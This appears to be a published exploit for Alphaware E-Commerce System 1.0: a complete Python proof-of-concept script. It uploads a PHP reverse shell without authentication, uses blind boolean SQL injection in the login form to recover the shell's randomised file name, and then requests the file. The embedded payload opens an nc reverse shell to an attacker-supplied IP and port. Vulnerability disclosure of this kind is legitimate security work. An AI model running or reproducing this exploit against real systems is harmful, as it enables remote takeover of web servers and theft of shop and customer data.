Alphaware E-Commerce System 1.0 Shell Upload / SQL Injection

`# Exploit Title: Alphaware E-Commerce System 1.0 - Unauthenicated Remote Code Execution (File Upload + SQL injection)  
# Date: 15-03-2021  
# Exploit Author: Christian Vierschilling  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/11676/alphaware-simple-e-commerce-system.html  
# Software Download: https://www.sourcecodester.com/download-code?nid=11676&title=Alphaware+-+Simple+E-Commerce+System+using+PHP+with+Source+Code  
# Version: 1.0  
# Tested on: PHP 7.4.14, Linux x64_x86  
  
# --- Description --- #  
  
# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.  
# We combine this issue with an sql injection to retrieve the randomised name of our uploaded php shell.  
  
# --- Proof of concept --- #  
  
#!/usr/bin/python3  
import random  
import sys  
import requests  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
  
def file_upload(target_ip, attacker_ip, attacker_port):  
random_number = str(random.randint(100000000,999999999))  
file_name = "SHELL.php"  
revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)  
m = MultipartEncoder(fields={'add': '', 'product_image': (file_name, revshell_string, 'application/x-php'),'product_code':random_number,'product_name':'R3v_5H3LL','product_price':'123','product_size':'99','brand':'N0_name','category':'Hackers','qty':'1'})  
print("(+) Uploading php reverse shell file ..")  
r1 = requests.post('http://{}/alphaware/admin/admin_football.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})  
return random_number  
  
def trigger_shell_sqli(target_ip,product_id):  
target_file_name = ''  
url = 'http://{}/alphaware/function/admin_login.php'.format(target_ip)  
print("(+) Now setting up our sqli for file name guessing ..")  
  
# STEP 1: Get length of target column in database ..  
for i in range(1, 200):  
payload = {'enter':'','username':"' or {}=(select char_length(product_image) from product where product_id = {})#".format(i, product_id)}  
r2 = requests.post(url, data=payload, allow_redirects=False)  
  
# STEP 2: successful sqli will be indicated by a redirect.. setting up our blind based file name guessing. :-)  
if str(r2.status_code) == '302':  
print("(+) Initial sqli successful, got length of our target file name!")  
print("(+) Now for the filename.. ", end = '')  
for j in range(1, i+1):  
for brutechar in range(32, 126):  
payload = {'enter':'','username':"' or '{}'=(SELECT substring((SELECT product_image from product where product_id = {}),{},1))#".format(chr(brutechar),product_id,j)}  
r3 = requests.post(url, data=payload, allow_redirects=False)  
if str(r3.status_code) == '302':  
target_file_name = target_file_name + chr(brutechar)  
print(chr(brutechar), end = '')  
sys.stdout.flush()  
break  
  
url = 'http://{}/alphaware/photo/{}.php'.format(target_ip,target_file_name.split('.')[0])  
print("\r\n(+) Trying to trigger shell by requesting {} ..".format(url))  
r4 = requests.get(url)  
  
def main():  
if len(sys.argv) != 4:  
print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])  
print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])  
sys.exit(-1)  
  
target_ip = sys.argv[1]  
attacker_ip = sys.argv[2]  
attacker_port = sys.argv[3]  
  
product_id = file_upload(target_ip, attacker_ip, attacker_port)  
trigger_shell_sqli(target_ip, product_id)  
  
print("(+) done!")  
  
if __name__ == "__main__":  
main()  
  
`